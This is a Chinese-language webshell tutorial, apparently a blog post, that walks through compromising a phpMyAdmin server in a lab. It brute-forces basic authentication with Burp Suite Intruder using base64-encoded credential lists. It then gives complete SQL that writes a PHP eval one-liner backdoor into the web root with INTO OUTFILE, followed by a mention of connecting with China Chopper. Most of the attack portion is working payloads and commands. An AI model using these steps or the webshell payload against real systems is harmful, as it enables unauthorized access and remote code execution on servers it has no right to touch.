之前的兩篇WEBSHELL姿勢談到了兩種拿SHELL的方法(上傳+解析漏洞、http-put/move方法),當然有時最簡單的時候就是上傳無限制,或者通過改filename字尾實作。這次我們要實驗的就是通過phpMyAdmin來實作。
一般來說要利用SQL來實作一句話,有如下幾種情況:
1.存在sql注入,在沒有字元處理時可直接寫入一句話(如Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/shell.php');
2.利用phpMyAdmin寫入一句話(前提登入phpMyAdmin)
3.其次利用注入登入應用系統,發現應用系統的其它漏洞,完成getshell。
0x00 實驗環境
1.一個安裝phpMyAdmin的windows環境
2.使用工具burpsuit(可使用其他相關工具替換)
0x01 發現phpMyAdmin
輸入ip,我們發現應用是一個背景登入系統,使用burpsuit代理并将目标網站發送至spider進行網頁爬取,在target中檢視網站目錄(适當調整fitler可顯示多個目錄)

0x02 暴力破解
我們通路目标網站http://10.1.1.10/phpMyAdmin,發現它需要認證(basic認證)
我們先嘗試一下密碼,并使用burpsuit檢視發送的包資訊
其中,YWRtaW46MTIzNDU2就是我們輸入的使用者名和密碼BASE64格式,解碼後為:admin:123456
我們直接把資料包發送至intruder子產品就行暴力破解,配置如下:
1.僅設定YWRtaW46MTIzNDU2為payload maker
2.設定payload type為Custom iterator
3.通過load加載常用使用者名進position1清單,配置position separator為:(冒号)
4.切換到position2,通過load加載常用密碼進position2清單
5.在payload process中添加Encode-Base64 encode
6.start attack.
通過status,我們定位到一個200 OK的包,解碼得到root:1234567890,登入
0x03 寫入一句話
在寫一句話之前,我們要先了解mysql寫檔案的基本語句:
select * from test into outfile '/xxx/xxx/test.txt'
寫檔案我們大緻了解了,但是我們還缺少應用的路徑,這裡我們通過暴露的phpinfo檔案得到了應用路徑C:/xampp/xampp/htdocs
最後我們的一句話木馬sql如下:
Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,裡面就一個cmd字段
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['6um1n']);?>"); //把php一句話木馬插入到temp表
Select cmd from temp into out file 'C:/xampp/xampp/htdocs/shell.php'; //查詢temp表中的一句話并把結果導入到shell.php
Drop TABLE IF EXISTS temp; //删除temp
#以上也可簡化為:
#Select "<?php @eval($_POST['6um1n']);?>" into outfile 'C:/xampp/xampp/htdocs/shell.php'
執行sql
0x04 菜刀
webshell至此完結,之後還可以完成提權等測試,這裡就不再繼續了。